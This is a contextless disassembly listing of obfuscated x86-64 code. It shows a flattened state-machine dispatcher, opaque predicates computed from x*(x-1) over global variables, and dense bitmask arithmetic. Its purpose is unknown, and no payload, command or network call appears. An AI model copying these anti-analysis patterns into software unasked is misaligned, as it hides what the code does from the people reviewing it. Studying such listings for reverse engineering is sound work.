and edx, 0xc1617073
or edx, edi
xor ebx, 0x3680880c
and ebx, 0x3e9e8f8c
and eax, 0xc1617073
or eax, ebx
xor eax, edx
xor ecx, eax
test ecx, eax
sete r9b
setne cl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov edx, eax
xor dl, cl
or cl, bl
or bl, r9b
xor bl, 1
or bl, dl
or al, r9b
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, ebx
and al, dl
mov r8d, ebx
mov r9d, edx
and r9b, al
xor al, dl
mov r10d, ebx
and r10b, dl
xor dl, bl
xor bl, 1
and cl, bl
xor r8b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r8b
or al, r9b
xor al, cl
or dl, r10b
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x968ba6b3
mov ebx, 0x8a40d1b6
cmovne edx, ebx
test al, 1
cmove edx, ebx
not cl
test cl, 1
mov eax, 0x968ba6b3
jmp 0x14019f61b
cmp eax, 0xbf56d217
jg 0x140192825
cmp eax, 0xbf07c3cc
je 0x1401988f9
cmp eax, 0xbf50c61f
jne 0x14016c950
mov eax, 0x7bc48cee
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa2ac13f0
jg 0x140192850
cmp eax, 0xa27f1864
je 0x1401989ff
cmp eax, 0xa2845c03
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x8536eb64
and ebx, 0x7ac9149b
or ebx, edx
mov edi, ebx
xor edi, 0x482
xor ebx, 0x1208840
or ecx, 0x596c8fd3
mov edx, ecx
not edx
or ebx, 0x80002008
and ebx, 0xd968a859
and edi, 0x40782
or edi, ebx
and ecx, 0xd968a859
and edx, 0x26935024
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x70bf28
and edx, 0xff8f40d7
or edx, ecx
mov ebx, edx
xor ebx, 0xa6e3cf04
xor edx, 0x11143073
and edx, 0xb7f73b77
mov ecx, ebx
and ecx, 0x4808c488
or ecx, edx
mov edx, ecx
xor edx, 0x4808c488
mov edi, edx
and edi, 0x4471fa72
and ebx, 0xbb8e058d
or ebx, edi
mov edi, ebx
not edi
and edi, 0xbb8e058c
and ebx, 0x4471fa73
or ebx, edi
and edx, 1
xor ecx, 0x4808c489
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd8e27ff1
and ecx, 0x271d800e
or ecx, edx
xor ecx, 0x271d800e
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x6e264819
and ebx, 0x91d9b7e6
or ebx, esi
or ecx, edi
and edi, 0x6e264819
and edx, 0x91d9b7e6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa420a85f
and ecx, 0x5bdf57a0
or ecx, edx
mov edx, ecx
xor edx, 0x18d602a0
xor ecx, 0x2400801b
and ecx, 0x6709d51b
and edx, 0x98f62ae4
or edx, ecx
mov ecx, edx
xor ecx, 0x2601d411
xor edx, 0x460844
and edx, 0x414e094e
and ecx, 0xbeb1f6b1
or ecx, edx
xor ecx, 0xbeb1f6b1
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x689cf47b
mov edi, 0x46c242bf
cmovne eax, edi
test dl, dl
mov ecx, eax
cmovne ecx, edi
jmp 0x1401a1a3b
cmp eax, 0xe0863828
jg 0x140192970
cmp eax, 0xe01f6ab1
je 0x140198a14
cmp eax, 0xe035967b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3d8584dc
and edx, 0xc27a7b23
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf3e2173a
and edx, 0xc1de8c5
or edx, ecx
mov ebx, edx
xor ebx, 0x802c01
xor edx, 0xce6793e6
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0x355a4378
and ebx, 0xcaa5bc87
or ebx, edx
mov edx, ebx
xor edx, 0xaa40004
xor ebx, 0x355a4379
mov esi, ecx
and esi, 0xd45bfe93
and edi, 0x2ba4016c
or edi, esi
or ecx, ebx
and ebx, 0xd45bfe93
and edx, 0x2ba4016c
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0xe0197d97
and edx, ecx
or ecx, 0x1fe68268
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xdd1d81e4
and ebx, 0x20007c13
or ebx, esi
or ecx, edi
and edi, 0xdd1d81e4
and edx, 0x22e27e1b
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf288d764
and ecx, 0xd77289b
or ecx, edx
mov edx, ecx
xor edx, 0xed260008
xor ecx, 0x1291aaf3
mov ebx, ecx
and ebx, 0x25855b6
and edx, 0xfda7aa49
or edx, ebx
xor edx, 0x25855b6
xor ecx, edx
test ecx, edx
setne al
sete r9b
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl dl
xor bl, dl
and bl, dl
mov ecx, ebx
xor cl, 1
and cl, r9b
and bl, al
or bl, cl
mov eax, r9d
xor al, dl
and dl, r9b
or dl, al
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r8d, edx
xor r8b, cl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x327d0bf0
mov ebx, 0x5e438351
cmovne ecx, ebx
test al, 1
mov eax, 0x327d0bf0
cmovne eax, ecx
test dl, 1
jmp 0x1401a14db
cmp eax, 0x9451ab06
jg 0x14019299b
cmp eax, 0x93fac297
je 0x140198b9e
cmp eax, 0x93fd2ab5
jne 0x14016c950
mov eax, 0x2b400c8
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xcf06e479
jg 0x140192aee
cmp eax, 0xcecb2e6d
je 0x140198dbd
cmp eax, 0xceeba2dc
jne 0x14016c950
mov eax, 0x92151140
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xb055f7fb
jg 0x140192c47
cmp eax, 0xb044b69d
je 0x140198dd6
cmp eax, 0xb0534e80
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xffdf9e51
and ecx, 0x2061ae
or ecx, edx
mov r9d, ecx
xor r9d, 0x2061ae
mov esi, ecx
xor esi, 0xf7994a68
and esi, r9d
or eax, 0x846d439
mov edi, eax
not edi
mov edx, esi
not edx
mov ebx, edx
and ebx, 0x814ba043
and esi, 0x7eb45fbc
or esi, ebx
or edx, eax
and eax, 0x814ba043
and edi, 0x76b00b84
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x7c0040e4
and edx, 0x83ffbf1b
or edx, eax
mov edi, edx
xor edi, 0x81890202
and r9d, 1
xor ecx, 0x2061af
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x41b5d6ea
and ecx, 0xbe4a2915
or ecx, eax
mov eax, ecx
xor eax, 0x900a0014
xor edx, 0x744694dc
xor ecx, 0x41b5d6ea
mov ebx, edx
and ebx, 0x6e7479a9
and edi, 0x918b8656
or edi, ebx
or edx, ecx
and ecx, 0x6e7479a9
and eax, 0x918b8656
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xd34f66b4
and eax, 0x2cb0994b
or eax, ecx
xor eax, 0x2cb0994b
or eax, edx
cmp eax, 0xffffffff
setne r9b
sete al
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg dl
mov r11d, eax
xor r11b, r9b
and r11b, al
xor r11b, dl
mov r8d, r11d
xor r8b, 1
mov ebx, r10d
xor r10b, al
and al, dl
and bl, r9b
or bl, al
or dl, r9b
xor dl, 1
or dl, r10b
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
and dl, bl
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, r8d
and bl, r11b
mov ecx, edx
and cl, al
mov r9d, ebx
and r9b, r8b
xor bl, r8b
or bl, r9b
xor cl, 1
mov r9d, ecx
xor r9b, al
or cl, al
xor cl, 1
or cl, r9b
xor cl, bl
xor al, r11b
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xda8f8aab
mov ebx, 0x9ba784bb
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0xda8f8aab
jmp 0x1401a0e8b
cmp eax, 0xf2d81344
jg 0x140192e32
cmp eax, 0xf1cef79c
je 0x140198f6e
cmp eax, 0xf250e334
jne 0x14016c950
mov eax, 0xaae123c7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x8e1591f2
jg 0x140192e5d
cmp eax, 0x8da9e178
je 0x14019908c
cmp eax, 0x8de096b8
jne 0x14016c950
mov eax, 0x10
call fcn.1401b9300
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x70], rax
mov eax, 0xa8600
call fcn.1401b9300
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x68], rax
mov eax, 0x10
call fcn.1401b9300
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x60], rax
mov eax, 0x10
call fcn.1401b9300
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x70]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, ebx
mov edi, edx
not edi
mov esi, ebx
and esi, 0xd177197d
and ecx, 0x2e88e682
or ecx, esi
or ebx, edi
and edi, 0xd177197d
and edx, 0x2e88e682
or edx, edi
xor edx, ecx
not ebx
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x54908588
mov edx, ebx
and edx, 0xab6f7a77
or edx, ecx
mov ecx, edx
xor ecx, 0xab6f7a77
mov edi, ecx
and edi, 0xa6280f48
and ebx, 0x59d7f0b7
or ebx, edi
mov edi, ebx
not edi
and edi, 0x59d7f0b6
and ebx, 0xa6280f49
or ebx, edi
and ecx, 1
xor edx, 0xab6f7a76
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x15214e37
and edx, 0xeadeb1c8
or edx, ecx
mov edi, edx
xor edi, 0x4ac23088
xor edx, 0x15214e37
mov ecx, ebx
not ecx
mov esi, ecx
and esi, 0xa43d8f63
and ebx, 0x5bc2709c
or ebx, esi
or ecx, edx
and edx, 0xa43d8f63
and edi, 0x5bc2709c
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xf84fef3c
and ecx, 0x7b010c3
or ecx, edx
mov edx, ecx
xor edx, 0x801041
xor ecx, 0x3805a53c
and ecx, 0x3f35a5be
and edx, 0xc0ca5a41
or edx, ecx
mov ecx, edx
xor ecx, 0x26242536
xor edx, 0xc25041
and edx, 0x19d3d0c9
and ecx, 0xe62c2f36
or ecx, edx
xor ecx, 0xe62c2f36
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, eax
xor dl, r8b
or cl, al
or al, r8b
xor al, 1
or al, dl
xor al, 1
xor cl, 1
or bl, r8b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, cl
test bl, 1
mov eax, 0x5d9b538b
mov ebx, 0xe958cc3a
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, 1
mov ecx, 0x5d9b538b
jmp 0x1401a14db
cmp eax, 0xc7ac5205
jg 0x140192fa7
cmp eax, 0xc7394962
je 0x140199191
cmp eax, 0xc78696c0
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x764c875d
and ecx, edx
not edx
mov ebx, edx
and ebx, 0x764c875d
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x136bf8f7
and ecx, 0xec940708
or ecx, ebx
mov ebx, ecx
xor ebx, 0x92080040
xor ecx, 0x6424752a
and ecx, 0x6cf4f53e
and ebx, 0x930b0ac1
or ebx, ecx
xor ebx, 0x930b0ac1
mov ecx, ebx
and ecx, edx
xor ebx, edx
or ebx, ecx
cmp ebx, 0xffffffff
setne r9b
sete r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
xor bl, r8b
or r8b, al
or cl, r9b
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xa420e19a
mov ebx, 0xa9769ff8
cmovne edx, ebx
test cl, 1
mov ecx, edx
mov ebx, 0xa420e19a
cmovne ecx, ebx
jmp 0x140196725
cmp eax, 0xa93e1bf6
jg 0x140192fd2
cmp eax, 0xa91f60aa
je 0x140199362
cmp eax, 0xa93159e5
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x8e4f520a
and edx, ecx
and ecx, 0x71b0adf5
or ecx, ebx
mov ebx, ecx
xor ebx, 0x31a02805
xor ecx, 0x8e4f520a
mov edi, edx
not edi
mov esi, ecx
and esi, 0xca5995fa
and ebx, 0x35a66a05
or ebx, esi
or ecx, edi
and edi, 0xca5995fa
and edx, 0x35a66a05
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov r9d, ecx
not r9d
mov ebx, ecx
or ebx, 0xe77d77e1
mov edi, ebx
not edi
mov esi, ecx
xor esi, 0x1882881e
and esi, ecx
mov eax, esi
not eax
mov edx, ebx
and edx, 0xb85df965
and edi, 0x82001a
or edi, edx
or ebx, eax
and eax, 0xb85df965
and esi, 0x47a2069a
or esi, eax
xor esi, edi
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0xe77d77e0
and ebx, 0x1882881f
or ebx, eax
and r9d, 1
xor ecx, 0xfffffffe
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x51a66bc7
and ecx, 0xae599438
or ecx, eax
mov eax, ecx
xor eax, 0x8411420
xor ecx, 0x51a66bc7
mov edx, ebx
not edx
mov edi, edx
and edi, 0xb638a99d
and ebx, 0x49c75662
or ebx, edi
or edx, ecx
and ecx, 0xb638a99d
and eax, 0x49c75662
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x953d94ff
and edx, 0x6ac26b00
or edx, eax
mov eax, edx
xor eax, 0x4ac24a00
xor edx, 0x943894c1
and eax, 0x4bc74a3e
and edx, 0xb438b5c1
or edx, eax
mov eax, edx
xor eax, 0x3c00818
xor edx, 0x842011c1
and edx, 0xcc2753e7
and eax, 0x33d8ac18
or eax, edx
xor eax, 0x33d8ac18
sete al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
xor dl, al
or cl, dl
xor dl, 1
mov eax, ecx
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x20336707
mov ebx, 0xce4d923a
cmovne ecx, ebx
test dl, dl
mov edx, ecx
mov ebx, 0x20336707
jmp 0x1401a165f
cmp eax, 0xe9f1652c
jg 0x140192ffd
cmp eax, 0xe958cc3a
je 0x1401994b1
cmp eax, 0xe99f432d
jne 0x14016c950
mov eax, 0x84b66a1d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x9aee6e65
jg 0x140193186
cmp eax, 0x9a994d14
je 0x1401994c6
cmp eax, 0x9ad1c169
jne 0x14016c950
mov eax, 0xb7d25e50
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xd8cc44f1
jg 0x140193271
cmp eax, 0xd7ff52ab
je 0x1401994db
cmp eax, 0xd8709751
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov r9d, edi
not r9d
mov ecx, edi
or ecx, 0xc94fc56b
mov ebx, ecx
not ebx
mov edx, edi
xor edx, 0x36b03a94
and edx, edi
mov eax, edx
not eax
mov esi, ecx
and esi, 0xb8ce2eff
and ebx, 0x6301000
or ebx, esi
or ecx, eax
and eax, 0xb8ce2eff
and edx, 0x4731d100
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x2b8270a9
and ecx, 0xd47d8f56
or ecx, eax
mov ebx, ecx
xor ebx, 0x62853403
xor ecx, 0x9120a18
and ecx, 0x895a8bd8
and ebx, 0x76a57427
or ebx, ecx
mov eax, ebx
xor eax, 0x16a56421
and r9d, 0xdc37469c
and edi, 0x23c8b963
or edi, r9d
mov ecx, edi
xor ecx, 0x388a821
xor ebx, 0x895a8bd8
xor edi, 0xdc37469c
mov edx, ebx
and edx, 0x685211de
and eax, 0x97adee21
or eax, edx
or ebx, edi
and edi, 0x685211de
and ecx, 0x97adee21
or ecx, edi
xor ecx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x4339dc30
and ebx, 0xbcc623cf
or ebx, eax
xor ebx, 0xbcc623cf
sete r9b
setne cl
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg bl
mov eax, ebx
and al, cl
and r9b, bl
xor bl, cl
or bl, al
and r10b, cl
or r10b, r9b
mov eax, r10d
xor al, 1
mov edx, r10d
and dl, al
mov ecx, edx
xor cl, 1
xor dl, r10b
or cl, al
xor cl, 1
or cl, dl
mov r8d, ecx
and r8b, bl
mov edx, ebx
and dl, al
xor al, bl
xor bl, 1
xor cl, 1
and cl, bl
or cl, r8b
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x9ba55cd4
mov ebx, 0xbf56d218
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, 1
mov ecx, 0x9ba55cd4
jmp 0x1401a14db
cmp eax, 0xb7d25e4f
jg 0x140193418
cmp eax, 0xb588d4e9
je 0x1401994f0
cmp eax, 0xb62526c5
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x74f7abed
and ecx, edx
and edx, 0x8b085412
or edx, ebx
xor edx, 0x8b085412
mov ebx, edx
and ebx, ecx
xor edx, ecx
or edx, ebx
mov ebx, edx
not ebx
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xa13f271e
and edx, 0x5ec0d8e1
or edx, ebx
mov ebx, edx
xor ebx, 0x14409880
xor edx, 0xa13f271f
mov esi, ecx
and esi, 0xca8f6560
and edi, 0x35709a9e
or edi, esi
or ecx, edx
and edx, 0xca8f6560
and ebx, 0x35709a9f
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x44ca0bcb
and ecx, 0xbb35f434
or ecx, edx
mov edx, ecx
xor edx, 0xb931a404
xor ecx, 0x880102
and ecx, 0x28c5132
and edx, 0xfd73aecd
or edx, ecx
mov ecx, edx
xor ecx, 0x20c0030
xor edx, 0xb1538001
and edx, 0xb1d3d103
and ecx, 0x4e2c2efc
or ecx, edx
xor ecx, 0x4e2c2efc
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg bl
mov eax, ebx
xor al, r9b
and al, bl
mov edx, eax
xor dl, 1
mov ecx, eax
or cl, dl
xor al, cl
xor al, 1
or cl, dl
xor cl, 1
or cl, al
xor cl, 1
mov eax, ecx
xor al, r10b
not al
and al, r10b
or cl, r10b
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, r8b
and al, bl
and r10b, r9b
and bl, r8b
or bl, r10b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, cl
and cl, bl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x89171999
mov edx, 0x8aebb9c4
cmovne eax, edx
test bl, 1
mov edx, 0x89171999
cmovne edx, eax
test cl, 1
jmp 0x1401a0e8b
cmp eax, 0xfc188dbc
jg 0x1401935a1
cmp eax, 0xfbe3ad5c
je 0x140199505
cmp eax, 0xfbffc55d
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea eax, [rdx - 1]
imul eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x54a10095
mov edi, eax
and edi, 0x1a2542
or edi, edx
mov edx, edi
xor edx, 0x120142
xor edi, 0x47259225
mov ecx, esi
or ecx, 0x54bb25d7
mov ebx, ecx
not ebx
and edi, 0x472db625
and edx, 0x109201d2
or edx, edi
and ecx, 0x472db625
and ebx, 0xa8404808
or ebx, ecx
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xa0fa127b
and ebx, 0x5f05ed84
or ebx, ecx
mov ecx, ebx
xor ecx, 0xbbec852
xor ebx, 0xf44137ad
and esi, ebx
and ecx, eax
or ecx, esi
xor ebx, ecx
test ebx, ecx
setne cl
sete dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov r8d, ebx
xor bl, dl
and dl, al
and r8b, cl
or r8b, dl
mov edx, eax
xor dl, cl
xor dl, 1
or al, cl
xor al, 1
or al, bl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
mov ecx, r8d
mov ebx, eax
or al, r8b
xor r8b, 1
xor r9b, 1
and cl, r8b
and bl, r9b
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor bl, 1
mov edx, ebx
xor dl, r9b
or bl, r9b
xor bl, 1
or bl, dl
mov edx, ecx
xor dl, 1
and dl, bl
xor bl, 1
and bl, cl
or bl, dl
xor r9b, r8b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xc3de1918
mov edx, 0xd63e47aa
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0xc3de1918
jmp 0x1401a14db
cmp eax, 0x83e98a42
jg 0x14019369e
cmp eax, 0x82e31614
je 0x14019951a
cmp eax, 0x82fce278
jne 0x14016c950
mov eax, 0x76248fd8
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xbddac9f9
jg 0x140193832
cmp eax, 0xbd68ee3d
je 0x14019962b
cmp eax, 0xbda58a56
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov eax, edi
not eax
mov edx, eax
and edx, 0xa723420c
mov ecx, edi
and ecx, 0x58dcbdf3
or ecx, edx
mov edx, ecx
xor edx, 0x89810c2
xor ecx, 0x200000
mov esi, eax
or esi, 0xab838ca
mov ebx, esi
not ebx
or ecx, 0xf5478501
and ecx, 0xf567ad01
and edx, 0xa9810ca
or edx, ecx
and esi, 0xf567ad01
and ebx, 0x4234
or ebx, esi
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xf6e2fecc
and ebx, 0x91d0133
or ebx, ecx
mov ecx, ebx
xor ecx, 0x18508b0
xor ebx, 0x801ac403
and ebx, 0x823af54b
and ecx, 0x7dc50ab4
or ecx, ebx
xor ecx, 0x7dc50ab4
and eax, 0xe3b738cd
and edi, 0x1c48c732
or edi, eax
xor edi, 0x1c48c732
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, edi
not eax
and eax, 0x6678c5d7
and edi, 0x99873a28
or edi, eax
xor edi, 0x99873a28
setne r9b
sete r11b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov ebx, eax
xor bl, r11b
mov edx, ebx
not dl
and dl, r11b
mov ecx, eax
or cl, r11b
xor cl, 1
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
and bl, al
and r10b, r9b
and al, r11b
or al, r10b
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x65f992bf
mov eax, 0x196c2388
cmovne ebx, eax
test dl, 1
mov eax, 0x65f992bf
cmovne eax, ebx
test cl, 1
jmp 0x1401a008b
cmp eax, 0xa13c8b5b
jg 0x14019385d
cmp eax, 0xa0dd67b5
je 0x14019971e
cmp eax, 0xa12d3a08
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xc7158fc3
and ecx, 0x38ea703c
or ecx, edx
xor ecx, 0x38ea703d
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, 0x1e679311
and edx, ecx
not ecx
and ecx, 0x1e679311
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xe1986cee
and edx, 0x1e679311
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x37160254
and edx, 0xc8e9fdab
or edx, ebx
xor edx, 0xc8e9fdab
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
xor al, 1
or al, r8b
xor al, 1
and dl, bl
and cl, r8b
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x4bcb2358
mov ebx, 0x8219bb31
cmovne ecx, ebx
test dl, dl
mov edx, 0x4bcb2358
jmp 0x14019affd
cmp eax, 0xde2fac3a
jg 0x140193888
cmp eax, 0xdda85b15
je 0x14019981d
cmp eax, 0xddefeefd
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov ebx, eax
or ebx, 1
mov edx, ebx
not edx
mov edi, eax
or edi, 0x5f1a55cc
and ebx, 0x5f1a55cc
and edx, 0xa0e5aa32
or edx, ebx
and edi, 0x5f1a55cd
xor edi, edx
and ecx, 0xda2e264e
and eax, 0x25d1d9b1
or eax, ecx
mov ecx, eax
xor ecx, 0x25d1d9b1
xor eax, 0xda2e264e
and eax, edi
not edi
and ecx, edi
or eax, ecx
xor edi, eax
test edi, eax
sete al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
or dl, al
xor dl, 1
mov ecx, ebx
xor cl, al
or dl, cl
xor dl, 1
and al, cl
and cl, bl
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0x6ea4c56c
mov ebx, 0x8cff3922
cmovne eax, ebx
test cl, 1
mov ecx, eax
mov ebx, 0x6ea4c56c
jmp 0x14018c625
cmp eax, 0x93006b46
jg 0x140193a06
cmp eax, 0x92a96202
je 0x14019993c
cmp eax, 0x92b31808
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
not ebx
or ecx, 1
mov edi, ecx
not edi
mov esi, edx
not esi
mov eax, ecx
and eax, 0xb2425092
and edi, 0x4dbdaf6c
or edi, eax
or ecx, esi
